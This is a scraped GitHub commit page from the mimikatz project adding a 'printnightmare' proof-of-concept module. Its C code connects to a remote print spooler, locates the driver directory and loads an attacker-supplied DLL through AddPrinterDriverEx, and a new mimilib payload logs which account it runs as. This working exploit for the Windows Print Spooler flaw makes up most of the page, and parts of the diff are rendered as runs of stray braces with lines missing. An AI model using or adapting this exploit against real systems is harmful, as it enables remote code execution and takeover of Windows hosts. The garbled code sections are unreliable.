



 [Product](#) [Solutions](#) [Resources](#) [Open Source](#) [Enterprise](#) [Pricing](#) [Sign in](#) [Sign up](#)

 [gentilkiwi / mimikatz](#) Public


 Notifications  Fork 3.7k  Star 19.4k

[Code](#) [Issues 141](#) [Pull requests 33](#) [Actions](#) [Projects](#) [Wiki](#) [Security](#) [Insights](#)

Commit

[new] mimikatz misc::printrnightmare little POC [Browse files](#)

🔑 Loading branch information..

 gentilkiwi committed Jul 1, 2021 1 parent 6a3e432 commit c212760

Showing 10 changed files with 439 additions and 30 deletions.

Whitespace Ignore whitespace Split **Unified**

mimikatz/modules

kuhl_m_misc.c

kuhl_m_misc.h

mimilib

kspool.c

kspool.h

mimilib.def

mimilib.vcxproj

mimilib.vcxproj.filters

modules/rpc

kull_m_rpc.c

kull_m_rpc_ms-rprn.c

kull_m_rpc_ms-rprn.h

185

mimikatz/modules/kuhl_m_misc.c

↑

@@ -28,6 +28,7 @@ const KUHL_M_C kuhl_m_c_misc[] = {

28 28 {kuhl_m_misc_aadcookie, L"aadcookie", NULL},

29 29 {kuhl_m_misc_aadcookie_NgcSignWithSymmetricPopKey, L"ngcsign",

NULL},

30 30 {kuhl_m_misc_spooler, L"spooler", NULL},

31 + {kuhl_m_misc_printnightmare, L"printnightmare", NULL},

31 32 {kuhl_m_misc_sccm_accounts, L"sccm", NULL},

32 33 };

33 34 const KUHL_M kuhl_m_misc = {

@@ -1394,13 +1395,197 @@ NTSTATUS kuhl_m_misc_spooler(int argc, wchar_t *

argv[])

1394 1395 }

1395 1396 }

1396 1397 else PRINT_ERROR(L"missing /connect argument to specify

notifications target");

1398 + }

1399 + else PRINT_ERROR(L"missing /server argument to specify spooler

server");

1400 +

1401 + return STATUS_SUCCESS;

1402 + }

1397 1403

1404 + NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[])

1405 + {

1406 + LPCWSTR szRemote, szLibrary, szTry, szShortLibrary;

1407 + LPWSTR szSystem32, szDriver, szKernelBase, szDriverPath;

```
1427 +                                     {
1428 +
1429 +                                     {
1430 +                                     {
1431 +                                     {
1432 +                                     kprintf(L"*
1433 +                                     KernelBase: %s\n", szKernelBase);
1434 +                                     {
1435 +                                     {
1436 +                                     DriverInfo.pDriverPath = szDriverPath;
1437 +                                     DriverInfo.pDataFile = (LPWSTR) szLibrary;
1438 +                                     kprintf(L"*
1439 +                                     DriverPath: %s\n", DriverInfo.pDriverPath);
1440 +                                     kprintf(L"|
1441 +                                     DataFile  : %s (%s)\n", DriverInfo.pDataFile, szShortLibrary);
1442 +                                     {
1443 +                                     {
1444 +                                     {
1445 +                                     {
1446 +                                     {
1447 +                                     limit = wcstoul(szTry, NULL, 0);
1448 +                                     kprintf(L" | Trying      : 3 to %u\n", limit);
1449 +                                     for(i = 3; i <= limit; i++)
1450 +                                     {
1451 +                                     {
1452 +                                     {
1453 +                                     {
1454 +                                     {
1455 +                                     {
1456 +                                     {
1457 +                                     {
1458 +                                     {
1459 +                                     {
1460 +                                     LocalFree(szDriverPath);
1461 +                                     {
1462 +                                     LocalFree(szKernelBase);
1463 +                                     {
1464 +                                     LocalFree(szSystem32);
1465 +                                     LocalFree(szDriver);
1466 +                                     }
1467 +                                     kull_m_rpc_deleteBinding(&hSpoolHandle);
```

	1468	+		}
	1469	+		}
	1470	+	else PRINT_ERROR(L"Unable to get short library name from library path (%s)\n", szLibrary);	
	1471	+		}
	1472	+	else PRINT_ERROR(L"missing /library argument to specify anonymous share");	
1398	1473		}	
1399	1474		else PRINT_ERROR(L"missing /server argument to specify spooler server");	
1400	1475			
1401	1476		return STATUS_SUCCESS;	
1402	1477		}	
1403	1478			
	1479	+	+ BOOL kuhl_m_misc_printnightmare_CallEnumPrintersAndFindSuitablePath(LPCWSTR szEnvironment, LPWSTR *szSystem32, LPWSTR *szDriver)	
	1480	+	{	
	1481	+	BOOL status = FALSE;	
	1482	+	DWORD ret, i, cbNeeded = 0, cReturned = 0;	
	1483	+	_PDRIVER_INFO_2 pDriverInfo;	
	1484	+	LPWSTR pDriverPath, ptrSys, ptrDrv;	
	1485	+		
	1486	+	if(szSystem32 && szDriver)	
	1487	+	{	
	1488	+	RpcTryExcept	
	1489	+	{	
	1490	+	ret = RpcEnumPrinterDrivers(NULL, (wchar_t *)	
			szEnvironment, 2, NULL, 0, &cbNeeded, &cReturned);	
	1491	+	if(ret == ERROR_INSUFFICIENT_BUFFER)	
	1492	+	{	
	1493	+	pDriverInfo = (_PDRIVER_INFO_2)	
			LocalAlloc(LPTR, cbNeeded);	
	1494	+	if(pDriverInfo)	
	1495	+	{	
	1496	+	ret = RpcEnumPrinterDrivers(NULL,	
			(wchar_t *) szEnvironment, 2, (BYTE *) pDriverInfo, cbNeeded, &cbNeeded,	
			&cReturned);	
	1497	+	if(ret == ERROR_SUCCESS)	
	1498	+	{	
	1499	+	for(i = 0; (i < cReturned) &&	
			!status; i++)	
	1500	+	{	
	1501	+	pDriverPath = (PWSTR)	
			(pDriverInfo[i].DriverPathOffset ? (PBYTE) &pDriverInfo[i] +	
			pDriverInfo[i].DriverPathOffset : NULL);	
	1502	+	if(pDriverPath)	
	1503	+	{	
	1504	+	ptrSys =	
			StrStrI(pDriverPath, L"system32\\driverstore\\filerepository\\ntprint.inf_");	
	1505	+	if(ptrSys)	
	1506	+	{	
	1507	+	ptrDrv	
			= wcsrchr(pDriverPath, L'\\');	
	1508	+	if(ptrDrv && *(ptrDrv + 1))	
	1509	+		{
	1510	+		
			*(ptrDrv + 1) = L'\0';	
	1511	+	if(kull_m_string_copy(szDriver, pDriverPath))	
	1512	+	{	
	1513	+		
			*(ptrSys + 9) = L'\0';	
	1514	+	status = kull_m_string_copy(szSystem32, pDriverPath);	
	1515	+	if(!status)	
	1516	+	{	
	1517	+	LocalFree(*szDriver);	
	1518	+		
			}	

	1584	+	}
	1585	+	
	1586	+	return ret;
	1587	+	}
	1588	+	
1404	1589	typedef struct	_SCCM_ENCRYPTED_HEADER {
1405	1590		DWORD cbKey;
1406	1591		DWORD cbDecrypted;

⌵

4 mimikatz/modules/kuhl_m_misc.h

⌵	@@ -44,8 +44,12 @@	NTSTATUS kuhl_m_misc_xor(int argc, wchar_t * argv[]);
44	44	NTSTATUS kuhl_m_misc_aadcookie(int argc, wchar_t * argv[]);
45	45	NTSTATUS kuhl_m_misc_aadcookie_NgcSignWithSymmetricPopKey(int argc, wchar_t * argv[]);
46	46	NTSTATUS kuhl_m_misc_spooler(int argc, wchar_t * argv[]);
	47	+ NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[]);
47	48	NTSTATUS kuhl_m_misc_sccm_accounts(int argc, wchar_t * argv[]);
48	49	
	50	+ BOOL kuhl_m_misc_printnightmare_CallEnumPrintersAndFindSuitablePath(LPCWSTR szEnvironment, LPWSTR *szSystem32, LPWSTR *szDriver);
	51	+ DWORD kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(LPCWSTR szSystem32, PDRIVER_INFO_2 pInfo2, DWORD dwStep, LPCWSTR pConfigFile);
	52	+
49	53	BOOL CALLBACK kuhl_m_misc_detours_callback_process(PSYSTEM_PROCESS_INFORMATION pSystemProcessInformation, PVOID pvArg);
50	54	BOOL CALLBACK kuhl_m_misc_detours_callback_module(PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION pModuleInformation, PVOID pvArg);
51	55	BOOL CALLBACK kuhl_m_misc_detours_callback_module_exportedEntry(PKULL_M_PROCESS_EXPORTED_ENTRY pExportedEntryInformations, PVOID pvArg);

⌵

28 mimilib/kspool.c

...	...	@@ -0,0 +1,28 @@
	1	+ /* Benjamin DELPY `gentilkiwi`
	2	+ https://blog.gentilkiwi.com
	3	+ benjamin@gentilkiwi.com
	4	+ Licence : https://creativecommons.org/licenses/by/4.0/
	5	+ */
	6	+ #include "kspool.h"
	7	+
	8	+ void kspool()
	9	+ {
	10	+ FILE * kspool_logfile;
	11	+ WCHAR Buffer[256 + 1];
	12	+ DWORD cbBuffer = ARRAYSIZE(Buffer);
	13	+
	14	+ #pragma warning(push)
	15	+ #pragma warning(disable:4996)
	16	+ if(kspool_logfile = _wopen(L"kiwispool.log", L"a"))
	17	+ #pragma warning(pop)
	18	+ {
	19	+ klog(kspool_logfile, L"Hello!\n");
	20	+
	21	+ if(GetUserName(Buffer, &cbBuffer))
	22	+ {
	23	+ klog(kspool_logfile, L"I\'m running with \'%s\' (and I like it)\n", Buffer);
	24	+ }
	25	+
	26	+ fclose(kspool_logfile);
	27	+ }
	28	+ }

⊖

9 mimilib/kspool.h

...	...	@@ -0,0 +1,9 @@
	1	+ /* Benjamin DELPY `gentilkiwi`

```
2 + https://blog.gentilkiwi.com
3 + benjamin@gentilkiwi.com
4 + Licence : https://creativecommons.org/licenses/by/4.0/
5 + */
6 + #pragma once
7 + #include "utils.h"
8 +
9 + void kspool();
```

2

mimilib/mimilib.def

		@@ -25,5 +25,7 @@ EXPORTS
25	25	NPLogonNotify = knp_NPLogonNotify
26	26	NPGetCaps = knp_NPGetCaps
27	27	
28	28	DrvResetConfigCache = kspool
29	29	
28	30	DllGetClassObject = kcredentialprovider_DllGetClassObject
		PRIVATE
29	31	DllCanUnloadNow = kcredentialprovider_DllCanUnloadNow PRIVATE

2

mimilib/mimilib.vcxproj

		@@ -102,6 +102,7 @@
102	102	<ClCompile Include="kdns.c" />
103	103	<ClCompile Include="kfilt.c" />
104	104	<ClCompile Include="knp.c" />
105	105	+ <ClCompile Include="kspool.c" />
105	106	<ClCompile Include="kssp.c" />
106	107	<ClCompile Include="ksub.c" />
107	108	<ClCompile Include="kcredentialprovider.c" />
		@@ -118,6 +119,7 @@
118	119	<ClInclude Include="kdns.h" />
119	120	<ClInclude Include="kfilt.h" />
120	121	<ClInclude Include="knp.h" />
122	122	+ <ClInclude Include="kspool.h" />
121	123	<ClInclude Include="kssp.h" />
122	124	<ClInclude Include="ksub.h" />
123	125	<ClInclude Include="kcredentialprovider.h" />

2

mimilib/mimilib.vcxproj.filters

		@@ -34,6 +34,7 @@
34	34	<ClCompile Include="ksub.c" />
35	35	<ClCompile Include="knp.c" />
36	36	<ClCompile Include="kcredentialprovider.c" />
37	37	+ <ClCompile Include="kspool.c" />
37	38	</ItemGroup>
38	39	<ItemGroup>
39	40	<ClInclude Include="utils.h" />
		@@ -62,6 +63,7 @@
62	63	<ClInclude Include="kdhcp.h" />
63	64	<ClInclude Include="ksub.h" />
64	65	<ClInclude Include="knp.h" />
66	66	+ <ClInclude Include="kspool.h" />
65	67	</ItemGroup>
66	68	<ItemGroup>
67	69	<Filter Include="sekurlsadbg">

2

modules/rpc/kull_m_rpc.c

		@@ -38,7 +38,7 @@ BOOL kull_m_rpc_createBinding(LPCWSTR uuid, LPCWSTR ProtSeq, LPCWSTR NetworkAddr
38	38	BOOL status = FALSE;
39	39	RPC_STATUS rpcStatus;
40	40	RPC_WSTR StringBinding = NULL;

41	-	RPC_SECURITY_QOS SecurityQOS = {RPC_C_SECURITY_QOS_VERSION, RPC_C_QOS_CAPABILITIES_MUTUAL_AUTH, RPC_C_QOS_IDENTITY_STATIC, ImpersonationType};
41	+	RPC_SECURITY_QOS SecurityQOS = {RPC_C_SECURITY_QOS_VERSION, RPC_C_QOS_CAPABILITIES_MUTUAL_AUTH (ImpersonationType == RPC_C_IMP_LEVEL_DELEGATE) ? RPC_C_QOS_CAPABILITIES_IGNORE_DELEGATE_FAILURE : 0, RPC_C_QOS_IDENTITY_STATIC, ImpersonationType};
42	42	LPWSTR fullServer = NULL;
43	43	
44	44	*hBinding = NULL;
↓		



0 comments on commit c212760

Please [sign in](#) to comment.